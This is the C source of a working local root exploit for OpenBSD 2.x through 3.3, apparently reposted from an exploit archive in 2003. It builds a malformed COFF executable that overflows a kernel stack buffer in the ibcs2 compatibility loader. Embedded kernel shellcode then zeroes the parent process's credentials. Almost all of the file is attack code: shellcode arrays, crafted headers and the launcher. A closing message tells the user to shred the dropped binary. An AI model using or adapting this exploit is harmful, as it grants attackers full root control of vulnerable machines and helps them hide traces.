/** OpenBSD 2.x - 3.3 **/
/** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/
/** note: ibcs2 binary compatibility with SCO and ISC is enabled **/
/** in the default install **/
/** Copyright Feb 26 2003 Sinan "noir" Eren **/
/** noir olympos org | noir uberhax0r net **/
/** greets to brother nahual for making this usefull! **/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
//#include "ibcs2_exec.h"
/* kernel_sc.s shellcode */
/* much improved the opcode search, fixed the stupid logic bug! */
unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
"\x75\xef\x47\x31\xc0\x57\xc3";
/* do not use! */
/*
silvio gotta get his brain together and understand why sometimes
you need to return to kernel code rather than setting the selectors
pushing ss,esp,eflag,cs,eip and do an iret!
well, aloha?? vnode locks being held ? mutex locks being held ?
you have to return to the kernel code that unlocks the syncronization
objects
*/
unsigned char iret_shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
"\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
"\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
"\x6a\x17";
unsigned char pusheip[] =
"\x68\x00\x00\x00\x00"; /* fill eip */
unsigned char iret[] =
"\xcf";
unsigned char exitsh[] =
"\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */
#define ZERO(p) memset(&p, 0x00, sizeof(p))
/*
* COFF file header
*/
struct coff_filehdr {
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol table entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
/* magic */
#define COFF_ZMAGIC 0413
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800
void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();
int
main(int argc, char **argv)
{
u_int i, fd, debug = 0;
u_char *ptr, *shptr;
u_long *lptr;
u_long pprocadr, offset;
struct kinfo_proc kp;
char *args[] = { "./ibcs2own", NULL};
char *envs[] = { "RIP=theo", NULL};
//COFF structures
struct coff_filehdr fhdr;
struct coff_aouthdr ahdr;
struct coff_scnhdr scn0, scn1, scn2;
if(argv[1]) {
if(!strncmp(argv[1], "-v", 2))
debug = 1;
else {
printf("-v: verbose flag only\n");
exit(0);
}
}
ZERO(fhdr);
fhdr.f_magic = COFF_MAGIC_I386;
fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
fhdr.f_timdat = 0xdeadbeef;
fhdr.f_symptr = 0x4000;
fhdr.f_nsyms = 1;
fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
fhdr.f_flags = COFF_F_EXEC;
ZERO(ahdr);
ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
ahdr.a_entry = 0x10000;
ahdr.a_tstart = 0;
ahdr.a_dstart = 0;
ZERO(scn0);
memcpy(&scn0.s_name, ".text", 5);
scn0.s_paddr = 0x10000;
scn0.s_vaddr = 0x10000;
scn0.s_size = 4096;
scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
//file offset of .text segment
scn0.s_relptr = 0;
scn0.s_lnnoptr = 0;
scn0.s_nreloc = 0;
scn0.s_nlnno = 0;
scn0.s_flags = COFF_STYP_TEXT;
ZERO(scn1);
memcpy(&scn1.s_name, ".data", 5);
scn1.s_paddr = 0x10000 - 4096;
scn1.s_vaddr = 0x10000 - 4096;
scn1.s_size = 4096;
scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
//file offset of .data segment
scn1.s_relptr = 0;
scn1.s_lnnoptr = 0;
scn1.s_nreloc = 0;
scn1.s_nlnno = 0;
scn1.s_flags = COFF_STYP_DATA;
ZERO(scn2);
memcpy(&scn2.s_name, ".shlib", 6);
scn2.s_paddr = 0;
scn2.s_vaddr = 0;
scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096;
//file offset of .data segment
scn2.s_relptr = 0;
scn2.s_lnnoptr = 0;
scn2.s_nreloc = 0;
scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;
offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
ptr = (char *) malloc(offset);
if(!ptr) {
perror("malloc");
exit(-1);
}
memset(ptr, 0xcc, offset); /* fill int3 */
/* copy sections */
offset = 0;
memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
offset += sizeof(fhdr);
memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
offset += sizeof(ahdr);
memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);
memcpy(ptr+offset, &scn1, sizeof(scn1));
offset += sizeof(scn1);
memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
offset += sizeof(scn2);
lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
(sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);
shptr = (char *) malloc(4096);
if(!shptr) {
perror("malloc");
exit(-1);
}
if(debug)
printf("payload adr: 0x%.8x\t", shptr);
memset(shptr, 0xcc, 4096);
get_proc((pid_t) getppid(), &kp);
pprocadr = (u_long) kp.kp_eproc.e_paddr;
if(debug)
printf("parent proc adr: 0x%.8x\n", pprocadr);
*lptr++ = 0xdeadbeef;
*lptr = (u_long) shptr;
shellcode[5] = pprocadr & 0xff;
shellcode[6] = (pprocadr >> 8) & 0xff;
shellcode[7] = (pprocadr >> 16) & 0xff;
shellcode[8] = (pprocadr >> 24) & 0xff;
memcpy(shptr, shellcode, sizeof(shellcode)-1);
unlink("./ibcs2own");
if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
perror("open");
exit(-1);
}
write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096 +
4096
+ 4096);
close(fd);
free(ptr);
signal(SIGSEGV, (void (*)())sig_handler);
signal(SIGILL, (void (*)())sig_handler);
signal(SIGSYS, (void (*)())sig_handler);
signal(SIGBUS, (void (*)())sig_handler);
signal(SIGABRT, (void (*)())sig_handler);
signal(SIGTRAP, (void (*)())sig_handler);
printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
execve(args[0], args, envs);
perror("execve");
}
void
sig_handler()
{
_exit(0);
}
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perror("sysctl");
fprintf(stderr, "this is an unexpected error, rerun!\n");
exit(-1);
}
}
securitydot.net - 2003-11-19
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